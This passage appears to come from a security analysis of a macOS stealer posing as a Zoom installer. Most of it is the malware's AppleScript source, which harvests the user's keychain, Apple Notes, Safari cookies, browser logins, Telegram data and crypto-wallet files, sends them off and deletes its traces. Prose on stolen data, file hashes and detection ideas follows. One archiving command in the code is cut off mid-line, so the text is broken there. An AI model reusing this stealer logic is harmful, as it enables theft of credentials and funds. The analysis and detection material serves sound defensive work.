set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}

readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")

readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")

if release then
    readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
    readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
    readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
    readwrite2(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
    readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if

if filegrabbers then
    filegrabber(writemind)
end if

writeText(username, writemind & "username")

set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths
    try
        parseFF(firefox, writemind)
    end try
end repeat

chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
telegram(writemind, library)

do shell script "ditto -c -k

send_data(0)

replaceApp(profile, password_entered)

do shell script "rm -r " & writemind
do shell script "rm /tmp/out.zip"

The script targets and exfiltrates system information, macOS user password (obtained via a fake password prompt using an AppleScript display dialog prompt), Keychain passwords, and extensive browser data including cookies, login credentials, and form history from various Chromium-based and Firefox-based browsers. It also steals Apple Notes databases, Telegram Desktop data, and general user files with specific extensions including .txt, .pdf, .docx, .wallet, .key, .keys, .doc, .json, and .db from the Desktop, Documents, and Downloads folders.

Further to this, the stealer seeks out and copies data from various cryptocurrency wallets, such as Electrum, Binance, Exodus, Atomic, and others, along with associated browser extensions.

IOCs

File Hash
ZoomApp.dmg 0368479362c2e9dd13c0a31082cd561c398c49a68ec9f3a5e22c17e0ac292e1f
ZoomApp.xTE 8c010f4313aa5eaa06de2235f83b9d6291dc771866d32251d6973e2c5385f5d1
.ZoomApp 4f3e4abbc81830ff5b59cfa84e66291a758ffe2b96c15873db0bf882ce5c1d8c

Detection

While the downstream payload functionality may vary, the initial execution chain is readily identifiable through specific indicators. Correlating disk image mounting events (e.g., mount and diskarbitrationd process activity) with the subsequent execution of a script via Terminal.app originating from the newly mounted volume can provid a high-fidelity detection of malicious intent.

Furthermore, anomalous invocation of osascript -e with arguments indicative of suspicious commands, such as do shell script, run script, and eval or display dialog used in conjunction with with hidden answers, constitutes a further strong indicator of malicious activity.